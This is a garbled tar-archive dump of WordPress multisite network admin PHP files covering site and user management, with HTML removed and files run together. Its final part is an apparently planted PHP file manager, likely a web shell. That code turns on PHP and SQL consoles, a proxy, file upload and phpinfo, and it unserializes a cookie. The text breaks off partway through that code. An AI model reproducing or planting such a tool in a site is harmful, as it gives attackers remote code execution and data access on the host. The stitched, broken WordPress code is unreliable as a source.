??????????????
sites.php 0000644 00000034374 15250667047 0006433 0 ustar 00 get_pagenum();
// Used in the HTML title tag.
$title = __( 'Sites' );
$parent_file = 'sites.php';
add_screen_option( 'per_page' );
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'
' . __( 'Add Site takes you to the screen for adding a new site to the network. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.' ) . '
' .
'' . __( 'This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.' ) . '
' .
'' . __( 'Hovering over each site reveals seven options (three for the primary site):' ) . '
' .
'' . __( 'An Edit link to a separate Edit Site screen.' ) . ' ' .
'' . __( 'Dashboard leads to the Dashboard for that site.' ) . ' ' .
'' . __( 'Flag for Deletion, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.' ) . ' ' .
'' . __( 'Delete Permanently which is a permanent action after the confirmation screen.' ) . ' ' .
'' . __( 'Visit to go to the front-end of the live site.' ) . ' ',
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Site Management ' ) . '
' .
'' . __( 'Support forums ' ) . '
'
);
get_current_screen()->set_screen_reader_content(
array(
'heading_pagination' => __( 'Sites list navigation' ),
'heading_list' => __( 'Sites list' ),
)
);
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( isset( $_GET['action'] ) ) {
/** This action is documented in wp-admin/network/edit.php */
do_action( 'wpmuadminedit' );
// A list of valid actions and their associated messaging for confirmation output.
$manage_actions = array(
/* translators: %s: Site URL. */
'activateblog' => __( 'You are about to remove the deletion flag from the site %s.' ),
/* translators: %s: Site URL. */
'deactivateblog' => __( 'You are about to flag the site %s for deletion.' ),
/* translators: %s: Site URL. */
'unarchiveblog' => __( 'You are about to unarchive the site %s.' ),
/* translators: %s: Site URL. */
'archiveblog' => __( 'You are about to archive the site %s.' ),
/* translators: %s: Site URL. */
'unspamblog' => __( 'You are about to unspam the site %s.' ),
/* translators: %s: Site URL. */
'spamblog' => __( 'You are about to mark the site %s as spam.' ),
/* translators: %s: Site URL. */
'deleteblog' => __( 'You are about to delete the site %s.' ),
/* translators: %s: Site URL. */
'unmatureblog' => __( 'You are about to mark the site %s as mature.' ),
/* translators: %s: Site URL. */
'matureblog' => __( 'You are about to mark the site %s as not mature.' ),
);
if ( 'confirm' === $_GET['action'] ) {
// The action2 parameter contains the action being taken on the site.
$site_action = $_GET['action2'];
if ( ! array_key_exists( $site_action, $manage_actions ) ) {
wp_die( __( 'The requested action is not valid.' ) );
}
// The mature/unmature UI exists only as external code. Check the "confirm" nonce for backward compatibility.
if ( 'matureblog' === $site_action || 'unmatureblog' === $site_action ) {
check_admin_referer( 'confirm' );
} else {
check_admin_referer( $site_action . '_' . $id );
}
if ( ! headers_sent() ) {
nocache_headers();
header( 'Content-Type: text/html; charset=utf-8' );
}
if ( is_main_site( $id ) ) {
wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
}
$site_details = get_site( $id );
$site_address = untrailingslashit( $site_details->domain . $site_details->path );
$submit = __( 'Confirm' );
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
403 ) );
}
$updated_action = 'not_deleted';
if ( 0 !== $id && ! is_main_site( $id ) && current_user_can( 'delete_site', $id ) ) {
wpmu_delete_blog( $id, true );
$updated_action = 'delete';
}
break;
case 'delete_sites':
check_admin_referer( 'ms-delete-sites' );
foreach ( (array) $_POST['site_ids'] as $site_id ) {
$site_id = (int) $site_id;
if ( is_main_site( $site_id ) ) {
continue;
}
if ( ! current_user_can( 'delete_site', $site_id ) ) {
$site = get_site( $site_id );
$site_address = untrailingslashit( $site->domain . $site->path );
wp_die(
sprintf(
/* translators: %s: Site URL. */
__( 'Sorry, you are not allowed to delete the site %s.' ),
$site_address
),
403
);
}
$updated_action = 'all_delete';
wpmu_delete_blog( $site_id, true );
}
break;
case 'allblogs':
if ( isset( $_POST['action'] ) && isset( $_POST['allblogs'] ) ) {
$doaction = $_POST['action'];
foreach ( (array) $_POST['allblogs'] as $site_id ) {
$site_id = (int) $site_id;
if ( 0 !== $site_id && ! is_main_site( $site_id ) ) {
switch ( $doaction ) {
case 'delete':
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
id, $redirect_to, $doaction, $blogs, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
wp_safe_redirect( $redirect_to );
exit;
}
} else {
// Process query defined by WP_MS_Site_List_Table::extra_table_nav().
$location = remove_query_arg(
array( '_wp_http_referer', '_wpnonce' ),
add_query_arg( $_POST, network_admin_url( 'sites.php' ) )
);
wp_redirect( $location );
exit;
}
break;
case 'archiveblog':
case 'unarchiveblog':
update_blog_status( $id, 'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' : '0' );
break;
case 'activateblog':
update_blog_status( $id, 'deleted', '0' );
/**
* Fires after a network site has its deletion flag removed.
*
* @since MU (3.0.0)
*
* @param int $id The ID of the reactivated site.
*/
do_action( 'activate_blog', $id );
break;
case 'deactivateblog':
/**
* Fires before a network site is flagged for deletion.
*
* @since MU (3.0.0)
*
* @param int $id The ID of the site being flagged for deletion.
*/
do_action( 'deactivate_blog', $id );
update_blog_status( $id, 'deleted', '1' );
break;
case 'unspamblog':
case 'spamblog':
update_blog_status( $id, 'spam', ( 'spamblog' === $_GET['action'] ) ? '1' : '0' );
break;
case 'unmatureblog':
case 'matureblog':
update_blog_status( $id, 'mature', ( 'matureblog' === $_GET['action'] ) ? '1' : '0' );
break;
}
if ( empty( $updated_action ) && array_key_exists( $_GET['action'], $manage_actions ) ) {
$updated_action = $_GET['action'];
}
if ( ! empty( $updated_action ) ) {
wp_safe_redirect( add_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) );
exit;
}
}
$msg = '';
if ( isset( $_GET['updated'] ) ) {
$action = $_GET['updated'];
switch ( $action ) {
case 'all_notspam':
$msg = __( 'Sites removed from spam.' );
break;
case 'all_spam':
$msg = __( 'Sites marked as spam.' );
break;
case 'all_delete':
$msg = __( 'Sites permanently deleted.' );
break;
case 'delete':
$msg = __( 'Site permanently deleted.' );
break;
case 'not_deleted':
$msg = __( 'Sorry, you are not allowed to delete that site.' );
break;
case 'archiveblog':
$msg = __( 'Site archived.' );
break;
case 'unarchiveblog':
$msg = __( 'Site unarchived.' );
break;
case 'activateblog':
$msg = __( 'Site deletion flag removed.' );
break;
case 'deactivateblog':
$msg = __( 'Site flagged for deletion.' );
break;
case 'unspamblog':
$msg = __( 'Site removed from spam.' );
break;
case 'spamblog':
$msg = __( 'Site marked as spam.' );
break;
default:
/**
* Filters a specific, non-default, site-updated message in the Network admin.
*
* The dynamic portion of the hook name, `$action`, refers to the non-default
* site update action.
*
* @since 3.1.0
*
* @param string $msg The update message. Default 'Settings saved'.
*/
$msg = apply_filters( "network_sites_updated_message_{$action}", __( 'Settings saved.' ) );
break;
}
if ( ! empty( $msg ) ) {
$msg = wp_get_admin_notice(
$msg,
array(
'type' => 'success',
'dismissible' => true,
'id' => 'message',
)
);
}
}
$wp_list_table->prepare_items();
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
';
printf(
/* translators: %s: Search query. */
__( 'Search results for: %s' ),
'
' . esc_html( $s ) . ' '
);
echo '';
}
?>
views(); ?>
site-info.php 0000644 00000017155 15250667047 0007177 0 ustar 00 add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( ! $id ) {
wp_die( __( 'Invalid site ID.' ) );
}
$details = get_site( $id );
if ( ! $details ) {
wp_die( __( 'The requested site does not exist.' ) );
}
if ( ! can_edit_network( $details->site_id ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
$parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME );
$is_main_site = is_main_site( $id );
if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] ) {
check_admin_referer( 'edit-site' );
switch_to_blog( $id );
// Rewrite rules can't be flushed during switch to blog.
delete_option( 'rewrite_rules' );
$blog_data = wp_unslash( $_POST['blog'] );
$blog_data['scheme'] = $parsed_scheme;
if ( $is_main_site ) {
// On the network's main site, don't allow the domain or path to change.
$blog_data['domain'] = $details->domain;
$blog_data['path'] = $details->path;
} else {
// For any other site, the scheme, domain, and path can all be changed. We first
// need to ensure a scheme has been provided, otherwise fallback to the existing.
$new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME );
if ( ! $new_url_scheme ) {
$blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] );
}
$update_parsed_url = parse_url( $blog_data['url'] );
// If a path is not provided, use the default of `/`.
if ( ! isset( $update_parsed_url['path'] ) ) {
$update_parsed_url['path'] = '/';
}
$blog_data['scheme'] = $update_parsed_url['scheme'];
// Make sure to not lose the port if it was provided.
$blog_data['domain'] = $update_parsed_url['host'];
if ( isset( $update_parsed_url['port'] ) ) {
$blog_data['domain'] .= ':' . $update_parsed_url['port'];
}
$blog_data['path'] = $update_parsed_url['path'];
}
$existing_details = get_site( $id );
$blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' );
foreach ( $blog_data_checkboxes as $c ) {
if ( ! in_array( (int) $existing_details->$c, array( 0, 1 ), true ) ) {
$blog_data[ $c ] = $existing_details->$c;
} else {
$blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0;
}
}
update_blog_details( $id, $blog_data );
// Maybe update home and siteurl options.
$new_details = get_site( $id );
$old_home_url = trailingslashit( esc_url( get_option( 'home' ) ) );
$old_home_parsed = parse_url( $old_home_url );
$old_home_host = $old_home_parsed['host'] . ( isset( $old_home_parsed['port'] ) ? ':' . $old_home_parsed['port'] : '' );
if ( $old_home_host === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) {
$new_home_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
update_option( 'home', $new_home_url );
}
$old_site_url = trailingslashit( esc_url( get_option( 'siteurl' ) ) );
$old_site_parsed = parse_url( $old_site_url );
$old_site_host = $old_site_parsed['host'] . ( isset( $old_site_parsed['port'] ) ? ':' . $old_site_parsed['port'] : '' );
if ( $old_site_host === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) {
$new_site_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
update_option( 'siteurl', $new_site_url );
}
restore_current_blog();
wp_redirect(
add_query_arg(
array(
'update' => 'updated',
'id' => $id,
),
'site-info.php'
)
);
exit;
}
if ( isset( $_GET['update'] ) ) {
$messages = array();
if ( 'updated' === $_GET['update'] ) {
$messages[] = __( 'Site info updated.' );
}
}
// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
$parent_file = 'sites.php';
$submenu_file = 'sites.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
|
$id,
'selected' => 'site-info',
)
);
if ( ! empty( $messages ) ) {
$notice_args = array(
'type' => 'success',
'dismissible' => true,
'id' => 'message',
);
foreach ( $messages as $msg ) {
wp_admin_notice( $msg, $notice_args );
}
}
?>
prepare_items();
get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
get_current_screen()->set_screen_reader_content(
array(
'heading_views' => __( 'Filter site users list' ),
'heading_pagination' => __( 'Site users list navigation' ),
'heading_list' => __( 'Site users list' ),
)
);
$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
$referer = remove_query_arg( 'update', wp_get_referer() );
if ( ! empty( $_REQUEST['paged'] ) ) {
$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( ! $id ) {
wp_die( __( 'Invalid site ID.' ) );
}
$details = get_site( $id );
if ( ! $details ) {
wp_die( __( 'The requested site does not exist.' ) );
}
if ( ! can_edit_network( $details->site_id ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
$is_main_site = is_main_site( $id );
switch_to_blog( $id );
$action = $wp_list_table->current_action();
if ( $action ) {
switch ( $action ) {
case 'newuser':
check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
$user = $_POST['user'];
if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
$update = 'err_new';
} else {
$password = wp_generate_password( 12, false );
$user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );
if ( false === $user_id ) {
$update = 'err_new_dup';
} else {
$result = add_user_to_blog( $id, $user_id, $_POST['new_role'] );
if ( is_wp_error( $result ) ) {
$update = 'err_add_fail';
} else {
$update = 'newuser';
/**
* Fires after a user has been created via the network site-users.php page.
*
* @since 4.4.0
*
* @param int $user_id ID of the newly created user.
*/
do_action( 'network_site_users_created_user', $user_id );
}
}
}
break;
case 'adduser':
check_admin_referer( 'add-user', '_wpnonce_add-user' );
if ( ! empty( $_POST['newuser'] ) ) {
$update = 'adduser';
$newuser = $_POST['newuser'];
$user = get_user_by( 'login', $newuser );
if ( $user && $user->exists() ) {
if ( ! is_user_member_of_blog( $user->ID, $id ) ) {
$result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] );
if ( is_wp_error( $result ) ) {
$update = 'err_add_fail';
}
} else {
$update = 'err_add_member';
}
} else {
$update = 'err_add_notfound';
}
} else {
$update = 'err_add_notfound';
}
break;
case 'remove':
if ( ! current_user_can( 'remove_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
}
check_admin_referer( 'bulk-users' );
$update = 'remove';
if ( isset( $_REQUEST['users'] ) ) {
$userids = $_REQUEST['users'];
foreach ( $userids as $user_id ) {
$user_id = (int) $user_id;
remove_user_from_blog( $user_id, $id );
}
} elseif ( isset( $_GET['user'] ) ) {
remove_user_from_blog( $_GET['user'] );
} else {
$update = 'err_remove';
}
break;
case 'promote':
check_admin_referer( 'bulk-users' );
if ( ! current_user_can( 'promote_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
}
$editable_roles = get_editable_roles();
$role = $_REQUEST['new_role'];
// Mock `none` as editable role.
$editable_roles['none'] = array(
'name' => __( '— No role for this site —' ),
);
if ( empty( $editable_roles[ $role ] ) ) {
wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
}
if ( 'none' === $role ) {
$role = '';
}
if ( isset( $_REQUEST['users'] ) ) {
$userids = $_REQUEST['users'];
$update = 'promote';
foreach ( $userids as $user_id ) {
$user_id = (int) $user_id;
if ( ! current_user_can( 'promote_user', $user_id ) ) {
wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
}
// If the user doesn't already belong to the blog, bail.
if ( ! is_user_member_of_blog( $user_id ) ) {
wp_die(
'' . __( 'An error occurred.' ) . ' ' .
'' . __( 'One of the selected users is not a member of this site.' ) . '
',
403
);
}
$user = get_userdata( $user_id );
// If $role is empty, none will be set.
$user->set_role( $role );
}
} else {
$update = 'err_promote';
}
break;
default:
if ( ! isset( $_REQUEST['users'] ) ) {
break;
}
check_admin_referer( 'bulk-users' );
$userids = $_REQUEST['users'];
/** This action is documented in wp-admin/network/site-themes.php */
$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
$update = $action;
break;
}
wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
exit;
}
restore_current_blog();
if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
wp_safe_redirect( $referer );
exit;
}
add_screen_option( 'per_page' );
// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
$parent_file = 'sites.php';
$submenu_file = 'sites.php';
/**
* Filters whether to show the Add Existing User form on the Multisite Users screen.
*
* @since 3.1.0
*
* @param bool $bool Whether to show the Add Existing User form. Default true.
*/
if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) {
wp_enqueue_script( 'user-suggest' );
}
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
|
$id,
'selected' => 'site-users',
)
);
if ( isset( $_GET['update'] ) ) :
$message = '';
$type = 'error';
switch ( $_GET['update'] ) {
case 'adduser':
$type = 'success';
$message = __( 'User added.' );
break;
case 'err_add_member':
$message = __( 'User is already a member of this site.' );
break;
case 'err_add_fail':
$message = __( 'User could not be added to this site.' );
break;
case 'err_add_notfound':
$message = __( 'Enter the username of an existing user.' );
break;
case 'promote':
$type = 'success';
$message = __( 'Changed roles.' );
break;
case 'err_promote':
$message = __( 'Select a user to change role.' );
break;
case 'remove':
$type = 'success';
$message = __( 'User removed from this site.' );
break;
case 'err_remove':
$message = __( 'Select a user to remove.' );
break;
case 'newuser':
$type = 'success';
$message = __( 'User created.' );
break;
case 'err_new':
$message = __( 'Enter the username and email.' );
break;
case 'err_new_dup':
$message = __( 'Duplicated username or email address.' );
break;
}
wp_admin_notice(
$message,
array(
'type' => $type,
'dismissible' => true,
'id' => 'message',
)
);
endif;
?>
views(); ?>
1 ) {
$_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle arrays.
// Used in the HTML title tag.
$title = __( 'Users' );
$parent_file = 'users.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
echo '';
confirm_delete_users( $_POST['allusers'] );
echo '
';
require_once ABSPATH . 'wp-admin/admin-footer.php';
} else {
wp_redirect( network_admin_url( 'users.php' ) );
}
exit;
case 'allusers':
if ( ! current_user_can( 'manage_network_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
if ( isset( $_POST['action'] ) && isset( $_POST['allusers'] ) ) {
check_admin_referer( 'bulk-users-network' );
$doaction = $_POST['action'];
$userfunction = '';
$allusers = (array) $_POST['allusers'];
foreach ( $allusers as $user_id ) {
if ( ! empty( $user_id ) ) {
switch ( $doaction ) {
case 'delete':
if ( ! current_user_can( 'delete_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
// Used in the HTML title tag.
$title = __( 'Users' );
$parent_file = 'users.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
echo '';
confirm_delete_users( $allusers );
echo '
';
require_once ABSPATH . 'wp-admin/admin-footer.php';
exit;
case 'spam':
$user = get_userdata( $user_id );
if ( is_super_admin( $user->ID ) ) {
wp_die(
sprintf(
/* translators: %s: User login. */
__( 'Warning! User cannot be modified. The user %s is a network administrator.' ),
esc_html( $user->user_login )
),
403
);
}
$userfunction = 'all_spam';
/**
* Filters whether to propagate the blog status when a user is marked as spam.
*
* @since 7.0.0
*
* @param bool $propagate Whether to propagate the blog status. Default false.
* @param int $user_id User ID.
*/
if ( apply_filters( 'propagate_network_user_spam_to_blogs', false, $user_id ) ) {
foreach ( get_blogs_of_user( $user_id, true ) as $details ) {
// Assuming the main site is not a spam.
if ( ! is_main_site( $details->userblog_id ) ) {
update_blog_status( $details->userblog_id, 'spam', '1' );
}
}
}
$user_data = $user->to_array();
$user_data['spam'] = '1';
wp_update_user( $user_data );
break;
case 'notspam':
$user = get_userdata( $user_id );
if ( is_super_admin( $user->ID ) ) {
wp_die(
sprintf(
/* translators: %s: User login. */
__( 'Warning! User cannot be modified. The user %s is a network administrator.' ),
esc_html( $user->user_login )
),
403
);
}
$userfunction = 'all_notspam';
$blogs = get_blogs_of_user( $user_id, true );
/** This filter is documented in wp-admin/network/users.php */
if ( apply_filters( 'propagate_network_user_spam_to_blogs', false, $user_id ) ) {
foreach ( get_blogs_of_user( $user_id, true ) as $details ) {
if ( ! is_main_site( $details->userblog_id ) && get_current_network_id() === $details->site_id ) {
// Assuming main site is never a spam and part of the current network.
update_blog_status( $details->userblog_id, 'spam', '0' );
}
}
}
$user_data = $user->to_array();
$user_data['spam'] = '0';
wp_update_user( $user_data );
break;
}
}
}
if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
$sendback = wp_get_referer();
$user_ids = (array) $_POST['allusers'];
/** This action is documented in wp-admin/network/site-themes.php */
$sendback = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $user_ids, 0 ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
wp_safe_redirect( $sendback );
exit;
}
wp_safe_redirect(
add_query_arg(
array(
'updated' => 'true',
'action' => $userfunction,
),
wp_get_referer()
)
);
} else {
$location = network_admin_url( 'users.php' );
if ( ! empty( $_REQUEST['paged'] ) ) {
$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
}
wp_redirect( $location );
}
exit;
case 'dodelete':
check_admin_referer( 'ms-users-delete' );
if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
/*
* Validate that every "reassign" choice has a real target before making
* any changes. The confirmation form blocks this client-side, so this is
* a defense-in-depth guard against an invalid reassignment (e.g. content
* reassigned to the non-existent user "-1") when JavaScript is bypassed.
* Bail out entirely so the deletion is all-or-nothing.
*/
if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) && ! empty( $_POST['delete'] ) ) {
foreach ( $_POST['blog'] as $id => $blogs ) {
foreach ( $blogs as $blogid => $reassign_user_id ) {
if ( isset( $_POST['delete'][ $blogid ][ $id ] )
&& 'reassign' === $_POST['delete'][ $blogid ][ $id ]
&& (int) $reassign_user_id < 1
) {
wp_redirect(
add_query_arg(
array( 'error' => 'missing_reassign' ),
network_admin_url( 'users.php' )
)
);
exit;
}
}
}
}
if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) {
foreach ( $_POST['blog'] as $id => $users ) {
foreach ( $users as $blogid => $user_id ) {
if ( ! current_user_can( 'delete_user', $id ) ) {
continue;
}
if ( ! empty( $_POST['delete'] ) && 'reassign' === $_POST['delete'][ $blogid ][ $id ] ) {
remove_user_from_blog( $id, $blogid, (int) $user_id );
} else {
remove_user_from_blog( $id, $blogid );
}
}
}
}
$i = 0;
if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) ) {
foreach ( $_POST['user'] as $id ) {
if ( ! current_user_can( 'delete_user', $id ) ) {
continue;
}
wpmu_delete_user( $id );
++$i;
}
}
if ( 1 === $i ) {
$deletefunction = 'delete';
} else {
$deletefunction = 'all_delete';
}
wp_redirect(
add_query_arg(
array(
'updated' => 'true',
'action' => $deletefunction,
),
network_admin_url( 'users.php' )
)
);
exit;
}
}
$wp_list_table = _get_list_table( 'WP_MS_Users_List_Table' );
$pagenum = $wp_list_table->get_pagenum();
$wp_list_table->prepare_items();
$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );
if ( $pagenum > $total_pages && $total_pages > 0 ) {
wp_redirect( add_query_arg( 'paged', $total_pages ) );
exit;
}
// Used in the HTML title tag.
$title = __( 'Users' );
$parent_file = 'users.php';
add_screen_option( 'per_page' );
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'' . __( 'This table shows all users across the network and the sites to which they are assigned.' ) . '
' .
'' . __( 'Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.' ) . '
' .
'' . __( 'You can also go to the user’s profile page by clicking on the individual username.' ) . '
' .
'' . __( 'You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.' ) . '
' .
'' . __( 'The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.' ) . '
' .
'' . __( 'You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.' ) . '
',
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Network Users ' ) . '
' .
'' . __( 'Support forums ' ) . '
'
);
get_current_screen()->set_screen_reader_content(
array(
'heading_views' => __( 'Filter users list' ),
'heading_pagination' => __( 'Users list navigation' ),
'heading_list' => __( 'Users list' ),
)
);
require_once ABSPATH . 'wp-admin/admin-header.php';
if ( isset( $_REQUEST['updated'] ) && 'true' === $_REQUEST['updated'] && ! empty( $_REQUEST['action'] ) ) {
$message = '';
switch ( $_REQUEST['action'] ) {
case 'delete':
$message = __( 'User deleted.' );
break;
case 'all_spam':
$message = __( 'Users marked as spam.' );
break;
case 'all_notspam':
$message = __( 'Users removed from spam.' );
break;
case 'all_delete':
$message = __( 'Users deleted.' );
break;
case 'add':
$message = __( 'User added.' );
break;
}
wp_admin_notice(
$message,
array(
'type' => 'success',
'dismissible' => true,
'id' => 'message',
)
);
}
if ( isset( $_REQUEST['error'] ) && 'missing_reassign' === $_REQUEST['error'] ) {
wp_admin_notice(
__( 'No users were deleted because no user was selected for content reassignment.' ),
array(
'type' => 'error',
'dismissible' => true,
'id' => 'message',
)
);
}
?>
';
printf(
/* translators: %s: Search query. */
__( 'Search results for: %s' ),
'
' . esc_html( $usersearch ) . ' '
);
echo '';
}
?>
views(); ?>
index.php 0000644 00000005537 15250667047 0006412 0 ustar 00 ' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '';
$overview .= '' . __( 'From here you can:' ) . '
';
$overview .= '' . __( 'Add and manage sites or users' ) . ' ';
$overview .= '' . __( 'Install and activate themes or plugins' ) . ' ';
$overview .= '' . __( 'Update your network' ) . ' ';
$overview .= '' . __( 'Modify global network settings' ) . ' ';
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' => $overview,
)
);
$quick_tasks = '' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '
';
$quick_tasks .= '' . __( 'To add a new user, click Create a New User .' ) . ' ';
$quick_tasks .= '' . __( 'To add a new site, click Create a New Site .' ) . ' ';
$quick_tasks .= '' . __( 'To search for a user or site, use the search boxes.' ) . '
';
$quick_tasks .= '' . __( 'To search for a user, enter an email address or username . Use a wildcard to search for a partial username, such as user*.' ) . ' ';
$quick_tasks .= '' . __( 'To search for a site, enter the path or domain .' ) . ' ';
get_current_screen()->add_help_tab(
array(
'id' => 'quick-tasks',
'title' => __( 'Quick Tasks' ),
'content' => $quick_tasks,
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on the Network Admin ' ) . '
' .
'' . __( 'Support forums ' ) . '
'
);
wp_dashboard_setup();
wp_enqueue_script( 'dashboard' );
wp_enqueue_script( 'plugin-install' );
add_thickbox();
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
